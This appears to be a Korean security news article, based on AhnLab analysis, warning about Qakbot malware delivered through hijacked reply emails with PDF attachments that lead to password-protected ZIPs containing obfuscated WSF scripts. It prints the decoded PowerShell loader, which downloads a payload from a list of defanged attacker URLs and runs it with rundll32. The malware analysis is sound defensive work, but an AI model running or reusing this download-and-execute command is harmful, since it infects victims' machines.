폭탄 품은 회신 메일 도착? 칵봇 악성코드 주의!

[그림 1] 악성 PDF가 첨부된 메일 본문(1)

안랩 분석팀에 따르면, 원본 이메일을 주고받은 시점은 2018~2022년으로 최근은 아니다. 메일 본문은 원본 메일과 연관성이 떨어지지만, 첨부 파일 클릭을 유도하는 내용으로 작성됐다. 수신자는 이를 정상적인 회신 메일로 판단해 아무 의심 없이 첨부 파일을 실행하게 된다.

[그림 3] 악성 PDF가 첨부된 이메일(3)

이메일에 첨부된 PDF 파일명은 ‘UT.PDF’, ‘RA.PDF’, ‘NM.PDF’와 같이 자동화로 만든 듯한 랜덤문자의 형태를 띤다. 이 PDF 파일에는 아래와 같이 마이크로소프트 애저(Microsoft Azure) 로고와 함께 ‘Open’ 버튼 클릭을 유도하는 문구가 적혀있다.

‘Open’ 버튼을 클릭하면 악성 URL로 연결되며, 이때 암호화된 ZIP 파일이 다운로드된다. 암호는 PDF 파일 본문에 기재된 ‘Password 755’이다.

[그림 5] PDF 파일의 내부 URL에서 다운로드되는 압축 파일

[그림 5]의 WSF 파일을 열면 [그림 6]과 같이 안티바이러스의 진단을 우회하기 위해 더미 텍스트와 함께 난독화된 스크립트 코드를 확인할 수 있다. 더미 텍스트란 아무 의미가 없는 문장을 말한다. 유의미한 스크립트 코드는 <job> 태그 뒤에 존재한다.

[그림 6] 더미 데이터와 함께 난독화 된 WSF 스크립트

WSF 파일을 실행하면 파워셸(PowerShell) 프로세스를 통해 암호화된 데이터 커맨드를 실행한다. 해당 데이터를 복호화하면 다음과 같다.

powershell.exe” -ENC “Start-Sleep -Seconds 2; $Girnie = (“hxxp://milleniuninformatica.com[.]br/Le9/jGjSkvEqmXp,hxxps://qassimnews[.]com/yweNej/kQBDu,hxxps://stealingexcellence[.]com/rVR9r/yahxNk,hxxps://medano355condominio[.]com/Tt7l/OwZd8xdlWjil,hxxps://choicefaz.com[.]br/w1W2/4gPNeUm0J,hxxps://t-lows[.]com/ggAJ2m/kXpW59tm,hxxps://seicas[.]com/KvtM0/Uj3atvfT4E,hxxps://farmfutures[.]in/tlUtBc/IYj0K1,hxxps://alzheimersdigest[.]net/ZKpva/55C63K,hxxps://antoinettegabriel[.]com/YuUE/RQwyJWR2jjc”).split(“,”); foreach ($reflexional in $Girnie) {try {wget $reflexional -TimeoutSec 17 -O $env:TEMP\undersluice.Calctuffs;if ((Get-Item $env:TEMP\undersluice.Calctuffs).length -ge 100000) {start rundll32 $env:TEMP\\undersluice.Calctuffs,X555;break;}} catch {Start-Sleep -Seconds 2;}}

여기서 공격자가 칵봇 바이너리를 TMP 경로에 ‘undersluice.Calctuffs’ 파일명으로 다운로드한 후 ‘rundll32.exe’ 프로세스로 실행한 것을 알 수 있다.

자세한 내용은 ASEC 블로그를 통해 확인할 수 있다.